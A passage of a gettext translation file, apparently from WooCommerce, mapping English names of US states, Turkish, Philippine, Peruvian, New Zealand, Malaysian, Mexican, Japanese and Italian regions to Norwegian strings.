msgid "Eastern Cape"
msgstr "Eastern Cape"
#: i18n/countries.php:194
msgid "Puerto Rico"
msgstr "Puerto Rico"
#: i18n/countries.php:180
msgid "Northern Mariana Islands"
msgstr "Nordre Marianaøyene"
#: i18n/countries.php:106
msgid "Guam"
msgstr "Guam"
#: i18n/countries.php:21
msgid "American Samoa"
msgstr "Amerikanske Samoa"
#: i18n/states.php:2160
msgid "Armed Forces (AP)"
msgstr "US Væpnede Styrker, Stillehavet"
#: i18n/states.php:2159
msgid "Armed Forces (AE)"
msgstr "US Væpnede Styrker, Europa"
#: i18n/states.php:2158
msgid "Armed Forces (AA)"
msgstr "US Væpnede Styrker, America"
#: i18n/states.php:2157
msgid "Wyoming"
msgstr "Wyoming"
#: i18n/states.php:2156
msgid "Wisconsin"
msgstr "Wisconsin"
#: i18n/states.php:2155
msgid "West Virginia"
msgstr "West Virginia"
#: i18n/states.php:2154
msgid "Washington"
msgstr "Washington"
#: i18n/states.php:2153
msgid "Virginia"
msgstr "Virginia"
#: i18n/states.php:2152
msgid "Vermont"
msgstr "Vermont"
#: i18n/states.php:2151
msgid "Utah"
msgstr "Utah"
#: i18n/states.php:2150
msgid "Texas"
msgstr "Texas"
#: i18n/states.php:2149
msgid "Tennessee"
msgstr "Tennessee"
#: i18n/states.php:2148
msgid "South Dakota"
msgstr "Sør-Dakota"
#: i18n/states.php:2147
msgid "South Carolina"
msgstr "Sør-Carolina"
#: i18n/states.php:2146
msgid "Rhode Island"
msgstr "Rhode Island"
#: i18n/states.php:2145
msgid "Pennsylvania"
msgstr "Pennsylvania"
#: i18n/states.php:2144
msgid "Oregon"
msgstr "Oregon"
#: i18n/states.php:2143
msgid "Oklahoma"
msgstr "Oklahoma"
#: i18n/states.php:2142
msgid "Ohio"
msgstr "Ohio"
#: i18n/states.php:2141
msgid "North Dakota"
msgstr "Nord-Dakota"
#: i18n/states.php:2140
msgid "North Carolina"
msgstr "Nord-Carolina"
#: i18n/states.php:2139
msgid "New York"
msgstr "New York"
#: i18n/states.php:2138
msgid "New Mexico"
msgstr "New Mexico"
#: i18n/states.php:2137
msgid "New Jersey"
msgstr "New Jersey"
#: i18n/states.php:2136
msgid "New Hampshire"
msgstr "New Hampshire"
#: i18n/states.php:2135
msgid "Nevada"
msgstr "Nevada"
#: i18n/states.php:2134
msgid "Nebraska"
msgstr "Nebraska"
#: i18n/states.php:2132
msgid "Missouri"
msgstr "Missouri"
#: i18n/states.php:2131
msgid "Mississippi"
msgstr "Mississippi"
#: i18n/states.php:2130
msgid "Minnesota"
msgstr "Minnesota"
#: i18n/states.php:2129
msgid "Michigan"
msgstr "Michigan"
#: i18n/states.php:2128
msgid "Massachusetts"
msgstr "Massachusetts"
#: i18n/states.php:1164 i18n/states.php:2127
msgid "Maryland"
msgstr "Maryland"
#: i18n/states.php:2126
msgid "Maine"
msgstr "Maine"
#: i18n/states.php:2125
msgid "Louisiana"
msgstr "Louisiana"
#: i18n/states.php:2124
msgid "Kentucky"
msgstr "Kentucky"
#: i18n/states.php:2123
msgid "Kansas"
msgstr "Kansas"
#: i18n/states.php:2122
msgid "Iowa"
msgstr "Iowa"
#: i18n/states.php:2121
msgid "Indiana"
msgstr "Indiana"
#: i18n/states.php:2120
msgid "Illinois"
msgstr "Illinois"
#: i18n/states.php:2119
msgid "Idaho"
msgstr "Idaho"
#: i18n/states.php:2118
msgid "Hawaii"
msgstr "Hawaii"
#: i18n/states.php:2117
msgctxt "US state of Georgia"
msgid "Georgia"
msgstr "Georgia"
#: i18n/states.php:2116 i18n/states.php:2169
msgid "Florida"
msgstr "Florida"
#: i18n/states.php:2115
msgid "District of Columbia"
msgstr "District of Columbia"
#: i18n/states.php:2114
msgid "Delaware"
msgstr "Delaware"
#: i18n/states.php:2113
msgid "Connecticut"
msgstr "Connecticut"
#: i18n/states.php:2112
msgid "Colorado"
msgstr "Colorado"
#: i18n/states.php:2111
msgid "California"
msgstr "California"
#: i18n/states.php:2110
msgid "Arkansas"
msgstr "Arkansas"
#: i18n/states.php:2109
msgid "Arizona"
msgstr "Arizona"
#: i18n/states.php:2108
msgid "Alaska"
msgstr "Alaska"
#: i18n/states.php:2107
msgid "Alabama"
msgstr "Alabama"
#: i18n/states.php:1864
msgid "Osmaniye"
msgstr "Osmaniye"
#: i18n/states.php:1863
msgid "Kilis"
msgstr "Kilis"
#: i18n/states.php:1861
msgid "Yalova"
msgstr "Yalova"
#: i18n/states.php:1859
msgid "Ardahan"
msgstr "Ardahan"
#: i18n/states.php:1856
msgid "Batman"
msgstr "Batman"
#: i18n/states.php:1854
msgid "Karaman"
msgstr "Karaman"
#: i18n/states.php:1853
msgid "Bayburt"
msgstr "Bayburt"
#: i18n/states.php:1852
msgid "Aksaray"
msgstr "Aksaray"
#: i18n/states.php:1851
msgid "Zonguldak"
msgstr "Zonguldak"
#: i18n/states.php:1850
msgid "Yozgat"
msgstr "Yozgat"
#: i18n/states.php:1849
msgid "Van"
msgstr "Van"
#: i18n/states.php:1846
msgid "Tunceli"
msgstr "Tunceli"
#: i18n/states.php:1845
msgid "Trabzon"
msgstr "Trabzon"
#: i18n/states.php:1844
msgid "Tokat"
msgstr "Tokat"
#: i18n/states.php:1842
msgid "Sivas"
msgstr "Sivas"
#: i18n/states.php:1841
msgid "Sinop"
msgstr "Sinop"
#: i18n/states.php:1840
msgid "Siirt"
msgstr "Siirt"
#: i18n/states.php:1839
msgid "Samsun"
msgstr "Samsun"
#: i18n/states.php:1838
msgid "Sakarya"
msgstr "Sakarya"
#: i18n/states.php:1837
msgid "Rize"
msgstr "Rize"
#: i18n/states.php:1836
msgid "Ordu"
msgstr "Ordu"
#: i18n/states.php:1831
msgid "Mardin"
msgstr "Mardin"
#: i18n/states.php:1829
msgid "Manisa"
msgstr "Manisa"
#: i18n/states.php:1828
msgid "Malatya"
msgstr "Malatya"
#: i18n/states.php:1826
msgid "Konya"
msgstr "Konya"
#: i18n/states.php:1825
msgid "Kocaeli"
msgstr "Kocaeli"
#: i18n/states.php:1822
msgid "Kayseri"
msgstr "Kayseri"
#: i18n/states.php:1821
msgid "Kastamonu"
msgstr "Kastamonu"
#: i18n/states.php:1820
msgid "Kars"
msgstr "Kars"
#: i18n/states.php:1816
msgid "Isparta"
msgstr "Isparta"
#: i18n/states.php:1815
msgid "Hatay"
msgstr "Hatay"
#: i18n/states.php:1814
msgid "Hakkari"
msgstr "Hakkari"
#: i18n/states.php:1812
msgid "Giresun"
msgstr "Giresun"
#: i18n/states.php:1811
msgid "Gaziantep"
msgstr "Gaziantep"
#: i18n/states.php:1809
msgid "Erzurum"
msgstr "Erzurum"
#: i18n/states.php:1808
msgid "Erzincan"
msgstr "Erzincan"
#: i18n/states.php:1806
msgid "Edirne"
msgstr "Edirne"
#: i18n/states.php:1804
msgid "Denizli"
msgstr "Denizli"
#: i18n/states.php:1800
msgid "Bursa"
msgstr "Bursa"
#: i18n/states.php:1799
msgid "Burdur"
msgstr "Burdur"
#: i18n/states.php:1798
msgid "Bolu"
msgstr "Bolu"
#: i18n/states.php:1797
msgid "Bitlis"
msgstr "Bitlis"
#: i18n/states.php:1795
msgid "Bilecik"
msgstr "Bilecik"
#: i18n/states.php:1792
msgid "Artvin"
msgstr "Artvin"
#: i18n/states.php:1791
msgid "Antalya"
msgstr "Antalya"
#: i18n/states.php:1790
msgid "Ankara"
msgstr "Ankara"
#: i18n/states.php:1789
msgid "Amasya"
msgstr "Amasya"
#: i18n/states.php:1787
msgid "Afyon"
msgstr "Afyon"
#: i18n/states.php:1785
msgid "Adana"
msgstr "Adana"
#: i18n/states.php:1590 assets/client/admin/chunks/3040.js:1
#: assets/client/admin/chunks/activity-panels-setup.js:1
#: assets/client/admin/chunks/core-profiler.js:1
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/chunks/wcpay-payment-welcome-page.js:1
#: assets/client/admin/onboarding/index.js:1
#: assets/client/admin/wp-admin-scripts/payment-method-promotions.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
msgid "Metro Manila"
msgstr "Metro Manila"
#: i18n/states.php:1589
msgid "Zamboanga Sibugay"
msgstr "Zamboanga Sibugay"
#: i18n/states.php:1588
msgid "Zamboanga del Sur"
msgstr "Zamboanga del Sur"
#: i18n/states.php:1587
msgid "Zamboanga del Norte"
msgstr "Zamboanga del Norte"
#: i18n/states.php:1586
msgid "Zambales"
msgstr "Zambales"
#: i18n/states.php:1585
msgid "Tawi-Tawi"
msgstr "Tawi-Tawi"
#: i18n/states.php:1584
msgid "Tarlac"
msgstr "Tarlac"
#: i18n/states.php:1583
msgid "Surigao del Sur"
msgstr "Surigao del Sur"
#: i18n/states.php:1582
msgid "Surigao del Norte"
msgstr "Surigao del Norte"
#: i18n/states.php:1581
msgid "Sulu"
msgstr "Sulu"
#: i18n/states.php:1580
msgid "Sultan Kudarat"
msgstr "Sultan Kudarat"
#: i18n/states.php:1579
msgid "Southern Leyte"
msgstr "Southern Leyte"
#: i18n/states.php:1578
msgid "South Cotabato"
msgstr "South Cotabato"
#: i18n/states.php:1577
msgid "Sorsogon"
msgstr "Sorsogon"
#: i18n/states.php:1576
msgid "Siquijor"
msgstr "Siquijor"
#: i18n/states.php:1575
msgid "Sarangani"
msgstr "Sarangani"
#: i18n/states.php:1574
msgid "Samar"
msgstr "Samar"
#: i18n/states.php:1573
msgid "Romblon"
msgstr "Romblon"
#: i18n/states.php:1572
msgid "Rizal"
msgstr "Rizal"
#: i18n/states.php:1571
msgid "Quirino"
msgstr "Quirino"
#: i18n/states.php:1570
msgid "Quezon"
msgstr "Quezon"
#: i18n/states.php:1569
msgid "Pangasinan"
msgstr "Pangasinan"
#: i18n/states.php:1568
msgid "Pampanga"
msgstr "Pampanga"
#: i18n/states.php:1567
msgid "Palawan"
msgstr "Palawan"
#: i18n/states.php:1566
msgid "Oriental Mindoro"
msgstr "Oriental Mindoro"
#: i18n/states.php:1565
msgid "Occidental Mindoro"
msgstr "Occidental Mindoro"
#: i18n/states.php:1564
msgid "Nueva Vizcaya"
msgstr "Nueva Vizcaya"
#: i18n/states.php:1563
msgid "Nueva Ecija"
msgstr "Nueva Ecija"
#: i18n/states.php:1562
msgid "Northern Samar"
msgstr "Northern Samar"
#: i18n/states.php:1561
msgid "Negros Oriental"
msgstr "Negros Oriental"
#: i18n/states.php:1560
msgid "Negros Occidental"
msgstr "Negros Occidental"
#: i18n/states.php:1559
msgid "Mountain Province"
msgstr "Mountain Province"
#: i18n/states.php:1558
msgid "Misamis Oriental"
msgstr "Misamis Oriental"
#: i18n/states.php:1557
msgid "Misamis Occidental"
msgstr "Misamis Occidental"
#: i18n/states.php:1556
msgid "Masbate"
msgstr "Masbate"
#: i18n/states.php:1555
msgid "Marinduque"
msgstr "Marinduque"
#: i18n/states.php:1554
msgid "Maguindanao"
msgstr "Maguindanao"
#: i18n/states.php:1553
msgid "Leyte"
msgstr "Leyte"
#: i18n/states.php:1552
msgid "Lanao del Sur"
msgstr "Lanao del Sur"
#: i18n/states.php:1551
msgid "Lanao del Norte"
msgstr "Lanao del Norte"
#: i18n/states.php:1550
msgid "Laguna"
msgstr "Laguna"
#: i18n/states.php:1549
msgid "La Union"
msgstr "La Union"
#: i18n/states.php:1548
msgid "Kalinga"
msgstr "Kalinga"
#: i18n/states.php:1547
msgid "Isabela"
msgstr "Isabela"
#: i18n/states.php:1546
msgid "Iloilo"
msgstr "Iloilo"
#: i18n/states.php:1545
msgid "Ilocos Sur"
msgstr "Ilocos Sur"
#: i18n/states.php:1544
msgid "Ilocos Norte"
msgstr "Ilocos Norte"
#: i18n/states.php:1543
msgid "Ifugao"
msgstr "Ifugao"
#: i18n/states.php:1542
msgid "Guimaras"
msgstr "Guimaras"
#: i18n/states.php:1541
msgid "Eastern Samar"
msgstr "Eastern Samar"
#: i18n/states.php:1540
msgid "Dinagat Islands"
msgstr "Dinagat Islands"
#: i18n/states.php:1539
msgid "Davao Oriental"
msgstr "Davao Oriental"
#: i18n/states.php:1538
msgid "Davao Occidental"
msgstr "Davao Occidental"
#: i18n/states.php:1537
msgid "Davao del Sur"
msgstr "Davao del Sur"
#: i18n/states.php:1536
msgid "Davao del Norte"
msgstr "Davao del Norte"
#: i18n/states.php:1535
msgid "Cotabato"
msgstr "Cotabato"
#: i18n/states.php:1534
msgid "Compostela Valley"
msgstr "Compostela Valley"
#: i18n/states.php:1533
msgid "Cebu"
msgstr "Cebu"
#: i18n/states.php:1532
msgid "Cavite"
msgstr "Cavite"
#: i18n/states.php:1531
msgid "Catanduanes"
msgstr "Catanduanes"
#: i18n/states.php:1530
msgid "Capiz"
msgstr "Capiz"
#: i18n/states.php:1529
msgid "Camiguin"
msgstr "Camiguin"
#: i18n/states.php:1528
msgid "Camarines Sur"
msgstr "Camarines Sur"
#: i18n/states.php:1527
msgid "Camarines Norte"
msgstr "Camarines Norte"
#: i18n/states.php:1526
msgid "Cagayan"
msgstr "Cagayan"
#: i18n/states.php:1525
msgid "Bulacan"
msgstr "Bulacan"
#: i18n/states.php:1524
msgid "Bukidnon"
msgstr "Bukidnon"
#: i18n/states.php:1523
msgid "Bohol"
msgstr "Bohol"
#: i18n/states.php:1522
msgid "Biliran"
msgstr "Biliran"
#: i18n/states.php:1521
msgid "Benguet"
msgstr "Benguet"
#: i18n/states.php:1520
msgid "Batangas"
msgstr "Batangas"
#: i18n/states.php:1519
msgid "Batanes"
msgstr "Batanes"
#: i18n/states.php:1518
msgid "Bataan"
msgstr "Bataan"
#: i18n/states.php:1517
msgid "Basilan"
msgstr "Basilan"
#: i18n/states.php:1516
msgid "Aurora"
msgstr "Aurora"
#: i18n/states.php:1515
msgid "Apayao"
msgstr "Apayao"
#: i18n/states.php:1514
msgid "Antique"
msgstr "Antique"
#: i18n/states.php:1513
msgid "Albay"
msgstr "Albay"
#: i18n/states.php:1512
msgid "Aklan"
msgstr "Aklan"
#: i18n/states.php:1511
msgid "Agusan del Sur"
msgstr "Agusan del Sur"
#: i18n/states.php:1510
msgid "Agusan del Norte"
msgstr "Agusan del Norte"
#: i18n/states.php:1509
msgid "Abra"
msgstr "Abra"
#: i18n/states.php:1506
msgid "Ucayali"
msgstr "Ucayali"
#: i18n/states.php:1505
msgid "Tumbes"
msgstr "Tumbes"
#: i18n/states.php:1504
msgid "Tacna"
msgstr "Tacna"
#: i18n/states.php:1502
msgid "Puno"
msgstr "Puno"
#: i18n/states.php:1501
msgid "Piura"
msgstr "Piura"
#: i18n/states.php:1500
msgid "Pasco"
msgstr "Pasco"
#: i18n/states.php:1499
msgid "Moquegua"
msgstr "Moquegua"
#: i18n/states.php:1498
msgid "Madre de Dios"
msgstr "Madre de Dios"
#: i18n/states.php:1497
msgid "Loreto"
msgstr "Loreto"
#: i18n/states.php:1496
msgid "Lima"
msgstr "Lima"
#: i18n/states.php:1495
msgid "Lambayeque"
msgstr "Lambayeque"
#: i18n/states.php:1494 i18n/states.php:1694
msgid "La Libertad"
msgstr "La Libertad"
#: i18n/states.php:1492
msgid "Ica"
msgstr "Ica"
#: i18n/states.php:1490
msgid "Huancavelica"
msgstr "Huancavelica"
#: i18n/states.php:1489
msgid "Cusco"
msgstr "Cusco"
#: i18n/states.php:1488
msgid "Cajamarca"
msgstr "Cajamarca"
#: i18n/states.php:1487
msgid "Ayacucho"
msgstr "Ayacucho"
#: i18n/states.php:1486
msgid "Arequipa"
msgstr "Arequipa"
#: i18n/states.php:1484
msgid "Ancash"
msgstr "Ancash"
#: i18n/states.php:1482
msgid "Municipalidad Metropolitana de Lima"
msgstr "Municipalidad Metropolitana de Lima"
#: i18n/states.php:1481
msgid "El Callao"
msgstr "El Callao"
#: i18n/states.php:1463
msgid "Southland"
msgstr "Southland"
#: i18n/states.php:1462
msgid "Otago"
msgstr "Otago"
#: i18n/states.php:1461
msgid "Canterbury"
msgstr "Canterbury"
#: i18n/states.php:1460
msgid "West Coast"
msgstr "West Coast"
#: i18n/states.php:1459
msgid "Tasman"
msgstr "Tasman"
#: i18n/states.php:1458
msgid "Marlborough"
msgstr "Marlborough"
#: i18n/states.php:1457
msgid "Nelson"
msgstr "Nelson"
#: i18n/states.php:1456
msgid "Wellington"
msgstr "Wellington"
#: i18n/states.php:1455
msgid "Manawatu-Whanganui"
msgstr "Manawatu-Whanganui"
#: i18n/states.php:1453
msgid "Gisborne"
msgstr "Gisborne"
#: i18n/states.php:1452
msgid "Taranaki"
msgstr "Taranaki"
#: i18n/states.php:1451
msgid "Bay of Plenty"
msgstr "Bay of Plenty"
#: i18n/states.php:1450
msgid "Waikato"
msgstr "Waikato"
#: i18n/states.php:1449
msgid "Auckland"
msgstr "Auckland"
#: i18n/states.php:1448
msgid "Northland"
msgstr "Northland"
#: i18n/states.php:42
msgid "Huíla"
msgstr "Huíla"
#: i18n/states.php:1338
msgid "Terengganu"
msgstr "Terengganu"
#: i18n/states.php:1337
msgid "Selangor"
msgstr "Selangor"
#: i18n/states.php:1336
msgid "Sarawak"
msgstr "Sarawak"
#: i18n/states.php:1335
msgid "Sabah"
msgstr "Sabah"
#: i18n/states.php:1334
msgid "Perlis"
msgstr "Perlis"
#: i18n/states.php:1333
msgid "Perak"
msgstr "Perak"
#: i18n/states.php:1331
msgid "Pahang"
msgstr "Pahang"
#: i18n/states.php:1330
msgid "Negeri Sembilan"
msgstr "Negeri Sembilan"
#: i18n/states.php:1327
msgid "Kelantan"
msgstr "Kelantan"
#: i18n/states.php:1326
msgid "Kedah"
msgstr "Kedah"
#: i18n/states.php:1325
msgid "Johor"
msgstr "Johor"
#: i18n/states.php:1322
msgid "Zacatecas"
msgstr "Zacatecas"
#: i18n/states.php:1321
msgid "Yucatán"
msgstr "Yucatán"
#: i18n/states.php:1320
msgid "Veracruz"
msgstr "Veracruz"
#: i18n/states.php:1319
msgid "Tlaxcala"
msgstr "Tlaxcala"
#: i18n/states.php:1318
msgid "Tamaulipas"
msgstr "Tamaulipas"
#: i18n/states.php:1317
msgid "Tabasco"
msgstr "Tabasco"
#: i18n/states.php:1316
msgid "Sonora"
msgstr "Sonora"
#: i18n/states.php:1315
msgid "Sinaloa"
msgstr "Sinaloa"
#: i18n/states.php:1314
msgid "San Luis Potosí"
msgstr "San Luis Potosí"
#: i18n/states.php:1313
msgid "Quintana Roo"
msgstr "Quintana Roo"
#: i18n/states.php:1312
msgid "Querétaro"
msgstr "Querétaro"
#: i18n/states.php:1311
msgid "Puebla"
msgstr "Puebla"
#: i18n/states.php:1310
msgid "Oaxaca"
msgstr "Oaxaca"
#: i18n/states.php:1309
msgid "Nayarit"
msgstr "Nayarit"
#: i18n/states.php:1308
msgid "Morelos"
msgstr "Morelos"
#: i18n/states.php:1307
msgid "Michoacán"
msgstr "Michoacán"
#: i18n/states.php:1305
msgid "Hidalgo"
msgstr "Hidalgo"
#: i18n/states.php:1304
msgid "Guerrero"
msgstr "Guerrero"
#: i18n/states.php:1303
msgid "Guanajuato"
msgstr "Guanajuato"
#: i18n/states.php:1302
msgid "Durango"
msgstr "Durango"
#: i18n/states.php:1301
msgid "Colima"
msgstr "Colima"
#: i18n/states.php:1300
msgid "Coahuila"
msgstr "Coahuila"
#: i18n/states.php:1299
msgid "Chihuahua"
msgstr "Chihuahua"
#: i18n/states.php:1298
msgid "Chiapas"
msgstr "Chiapas"
#: i18n/states.php:1297
msgid "Campeche"
msgstr "Campeche"
#: i18n/states.php:1296
msgid "Baja California Sur"
msgstr "Baja California Sur"
#: i18n/states.php:1295
msgid "Baja California"
msgstr "Baja California"
#: i18n/states.php:1294
msgid "Aguascalientes"
msgstr "Aguascalientes"
#: i18n/states.php:1293
msgid "Nuevo León"
msgstr "Nuevo León"
#: i18n/states.php:1292
msgid "Jalisco"
msgstr "Jalisco"
#: i18n/states.php:1061
msgid "Okinawa"
msgstr "Okinawa"
#: i18n/states.php:1060
msgid "Kagoshima"
msgstr "Kagoshima"
#: i18n/states.php:1059
msgid "Miyazaki"
msgstr "Miyazaki"
#: i18n/states.php:1058
msgid "Oita"
msgstr "Oita"
#: i18n/states.php:1057
msgid "Kumamoto"
msgstr "Kumamoto"
#: i18n/states.php:1056
msgid "Nagasaki"
msgstr "Nagasaki"
#: i18n/states.php:1055
msgid "Saga"
msgstr "Saga"
#: i18n/states.php:1054
msgid "Fukuoka"
msgstr "Fukuoka"
#: i18n/states.php:1053
msgid "Kochi"
msgstr "Kochi"
#: i18n/states.php:1052
msgid "Ehime"
msgstr "Ehime"
#: i18n/states.php:1051
msgid "Kagawa"
msgstr "Kagawa"
#: i18n/states.php:1050
msgid "Tokushima"
msgstr "Tokushima"
#: i18n/states.php:1049
msgid "Yamaguchi"
msgstr "Yamaguchi"
#: i18n/states.php:1048
msgid "Hiroshima"
msgstr "Hiroshima"
#: i18n/states.php:1047
msgid "Okayama"
msgstr "Okayama"
#: i18n/states.php:1046
msgid "Shimane"
msgstr "Shimane"
#: i18n/states.php:1045
msgid "Tottori"
msgstr "Tottori"
#: i18n/states.php:1044
msgid "Wakayama"
msgstr "Wakayama"
#: i18n/states.php:1043
msgid "Nara"
msgstr "Nara"
#: i18n/states.php:1042
msgid "Hyogo"
msgstr "Hyogo"
#: i18n/states.php:1041
msgid "Osaka"
msgstr "Osaka"
#: i18n/states.php:1040
msgid "Kyoto"
msgstr "Kyoto"
#: i18n/states.php:1039
msgid "Shiga"
msgstr "Shiga"
#: i18n/states.php:1038
msgid "Mie"
msgstr "Mie"
#: i18n/states.php:1037
msgid "Aichi"
msgstr "Aichi"
#: i18n/states.php:1036
msgid "Shizuoka"
msgstr "Shizuoka"
#: i18n/states.php:1035
msgid "Gifu"
msgstr "Gifu"
#: i18n/states.php:1034
msgid "Nagano"
msgstr "Nagano"
#: i18n/states.php:1033
msgid "Yamanashi"
msgstr "Yamanashi"
#: i18n/states.php:1032
msgid "Fukui"
msgstr "Fukui"
#: i18n/states.php:1031
msgid "Ishikawa"
msgstr "Ishikawa"
#: i18n/states.php:1030
msgid "Toyama"
msgstr "Toyama"
#: i18n/states.php:1029
msgid "Niigata"
msgstr "Niigata"
#: i18n/states.php:1028
msgid "Kanagawa"
msgstr "Kanagawa"
#: i18n/states.php:1027
msgid "Tokyo"
msgstr "Tokyo"
#: i18n/states.php:1026
msgid "Chiba"
msgstr "Chiba"
#: i18n/states.php:1025
msgid "Saitama"
msgstr "Saitama"
#: i18n/states.php:1024
msgid "Gunma"
msgstr "Gunma"
#: i18n/states.php:1023
msgid "Tochigi"
msgstr "Tochigi"
#: i18n/states.php:1022
msgid "Ibaraki"
msgstr "Ibaraki"
#: i18n/states.php:1021
msgid "Fukushima"
msgstr "Fukushima"
#: i18n/states.php:1020
msgid "Yamagata"
msgstr "Yamagata"
#: i18n/states.php:1019
msgid "Akita"
msgstr "Akita"
#: i18n/states.php:1018
msgid "Miyagi"
msgstr "Miyagi"
#: i18n/states.php:1017
msgid "Iwate"
msgstr "Iwate"
#: i18n/states.php:1016
msgid "Aomori"
msgstr "Aomori"
#: i18n/states.php:1015
msgid "Hokkaido"
msgstr "Hokkaido"
#: i18n/states.php:987
msgid "Viterbo"
msgstr "Viterbo"
#: i18n/states.php:986
msgid "Vicenza"
msgstr "Vicenza"
#: i18n/states.php:985
msgid "Vibo Valentia"
msgstr "Vibo Valentia"
#: i18n/states.php:984
msgid "Verona"
msgstr "Verona"
#: i18n/states.php:983
msgid "Vercelli"
msgstr "Vercelli"
#: i18n/states.php:982
msgid "Verbano-Cusio-Ossola"
msgstr "Verbano-Cusio-Ossola"
#: i18n/states.php:981
msgid "Venezia"
msgstr "Venezia"
#: i18n/states.php:980
msgid "Varese"
msgstr "Varese"
#: i18n/states.php:979
msgid "Udine"
msgstr "Udine"
#: i18n/states.php:978
msgid "Trieste"
msgstr "Trieste"
#: i18n/states.php:977
msgid "Treviso"
msgstr "Treviso"
#: i18n/states.php:976
msgid "Trento"
msgstr "Trento"
#: i18n/states.php:975
msgid "Trapani"
msgstr "Trapani"
#: i18n/states.php:974
msgid "Torino"
msgstr "Torino"
#: i18n/states.php:973
msgid "Terni"
msgstr "Terni"
#: i18n/states.php:972
msgid "Teramo"
msgstr "Teramo"
#: i18n/states.php:971
msgid "Taranto"
msgstr "Taranto"
#: i18n/states.php:969
msgid "Sondrio"
msgstr "Sondrio"
#: i18n/states.php:968
msgid "Siracusa"
msgstr "Siracusa"
#: i18n/states.php:967
msgid "Siena"
msgstr "Siena"
#: i18n/states.php:966
msgid "Savona"
msgstr "Savona"
#: i18n/states.php:965
msgid "Sassari"
msgstr "Sassari"
#: i18n/states.php:964
msgid "Salerno"
msgstr "Salerno"
#: i18n/states.php:963
msgid "Rovigo"
msgstr "Rovigo"
#: i18n/states.php:962 assets/client/admin/chunks/3040.js:1
#: assets/client/admin/chunks/activity-panels-setup.js:1
#: assets/client/admin/chunks/core-profiler.js:1
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/chunks/wcpay-payment-welcome-page.js:1
#: assets/client/admin/onboarding/index.js:1
#: assets/client/admin/wp-admin-scripts/payment-method-promotions.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
msgid "Roma"
msgstr "Roma"
#: i18n/states.php:961
msgid "Rimini"
msgstr "Rimini"
#: i18n/states.php:960
msgid "Rieti"
msgstr "Rieti"
#: i18n/states.php:959
msgid "Reggio Emilia"
msgstr "Reggio Emilia"
#: i18n/states.php:958
msgid "Reggio Calabria"
msgstr "Reggio Calabria"
#: i18n/states.php:957
msgid "Ravenna"
msgstr "Ravenna"
#: i18n/states.php:956
msgid "Ragusa"
msgstr "Ragusa"
#: i18n/states.php:955
msgid "Prato"
msgstr "Prato"
#: i18n/states.php:954
msgid "Potenza"
msgstr "Potenza"
#: i18n/states.php:953
msgid "Pordenone"
msgstr "Pordenone"
#: i18n/states.php:952
msgid "Pistoia"
msgstr "Pistoia"
#: i18n/states.php:951
msgid "Pisa"
msgstr "Pisa"
#: i18n/states.php:950
msgid "Piacenza"
msgstr "Piacenza"
#: i18n/states.php:949
msgid "Pescara"
msgstr "Pescara"
#: i18n/states.php:948
msgid "Pesaro e Urbino"
msgstr "Pesaro e Urbino"
#: i18n/states.php:947
msgid "Perugia"
msgstr "Perugia"
#: i18n/states.php:946
msgid "Pavia"
msgstr "Pavia"
#: i18n/states.php:945
msgid "Parma"
msgstr "Parma"
#: i18n/states.php:944
msgid "Palermo"
msgstr "Palermo"
#: i18n/states.php:943
msgid "Padova"
msgstr "Padova"
#: i18n/states.php:942
msgid "Oristano"
msgstr "Oristano"
#: i18n/states.php:941
msgid "Nuoro"
msgstr "Nuoro"
#: i18n/states.php:940
msgid "Novara"
msgstr "Novara"
#: i18n/states.php:939
msgid "Napoli"
msgstr "Napoli"
#: i18n/states.php:938
msgid "Monza e della Brianza"
msgstr "Monza e della Brianza"
#: i18n/states.php:937
msgid "Modena"
msgstr "Modena"
#: i18n/states.php:936
msgid "Milano"
msgstr "Milano"
#: i18n/states.php:935
msgid "Messina"
msgstr "Messina"
#: i18n/states.php:934
msgid "Matera"
msgstr "Matera"
#: i18n/states.php:933
msgid "Massa-Carrara"
msgstr "Massa-Carrara"
#: i18n/states.php:932
msgid "Mantova"
msgstr "Mantova"
#: i18n/states.php:931
msgid "Macerata"
msgstr "Macerata"
#: i18n/states.php:930
msgid "Lucca"
msgstr "Lucca"
#: i18n/states.php:929
msgid "Lodi"
msgstr "Lodi"
#: i18n/states.php:928
msgid "Livorno"
msgstr "Livorno"
#: i18n/states.php:927
msgid "Lecco"
msgstr "Lecco"
#: i18n/states.php:926
msgid "Lecce"
msgstr "Lecce"
#: i18n/states.php:925
msgid "Latina"
msgstr "Latina"
#: i18n/states.php:923
msgid "La Spezia"
msgstr "La Spezia"
#: i18n/states.php:922
msgid "Isernia"
msgstr "Isernia"
#: i18n/states.php:921
msgid "Imperia"
msgstr "Imperia"
#: i18n/states.php:920
msgid "Grosseto"
msgstr "Grosseto"
#: i18n/states.php:919
msgid "Gorizia"
msgstr "Gorizia"
#: i18n/states.php:918
msgid "Genova"
msgstr "Genova"
#: i18n/states.php:917
msgid "Frosinone"
msgstr "Frosinone"
#: i18n/states.php:916
msgid "Forlì-Cesena"
msgstr "Forlì-Cesena"
#: i18n/states.php:915
msgid "Foggia"
msgstr "Foggia"
#: i18n/states.php:914
msgid "Firenze"
msgstr "Firenze"
#: i18n/states.php:913
msgid "Ferrara"
msgstr "Ferrara"
#: i18n/states.php:912
msgid "Fermo"
msgstr "Fermo"
#: i18n/states.php:911
msgid "Enna"
msgstr "Enna"
#: i18n/states.php:910
msgid "Cuneo"
msgstr "Cuneo"
#: i18n/states.php:909
msgid "Crotone"
msgstr "Crotone"
#: i18n/states.php:908
msgid "Cremona"
msgstr "Cremona"
#: i18n/states.php:907
msgid "Cosenza"
msgstr "Cosenza"
#: i18n/states.php:906
msgid "Como"
msgstr "Como"
#: i18n/states.php:905
msgid "Chieti"
msgstr "Chieti"
#: i18n/states.php:904
msgid "Catanzaro"
msgstr "Catanzaro"
#: i18n/states.php:903
msgid "Catania"
msgstr "Catania"
#: i18n/states.php:902
msgid "Caserta"
msgstr "Caserta"
#: i18n/states.php:901
msgid "Campobasso"
msgstr "Campobasso"
#: i18n/states.php:900
msgid "Caltanissetta"
msgstr "Caltanissetta"
#: i18n/states.php:899
msgid "Cagliari"
msgstr "Cagliari"
#: i18n/states.php:898
msgid "Brindisi"
msgstr "Brindisi"
#: i18n/states.php:897
msgid "Brescia"
msgstr "Brescia"
#: i18n/states.php:896
msgid "Bolzano"
msgstr "Bolzano"
#: i18n/states.php:895
msgid "Bologna"
msgstr "Bologna"
#: i18n/states.php:894
msgid "Biella"
msgstr "Biella"
#: i18n/states.php:893
msgid "Bergamo"
msgstr "Bergamo"
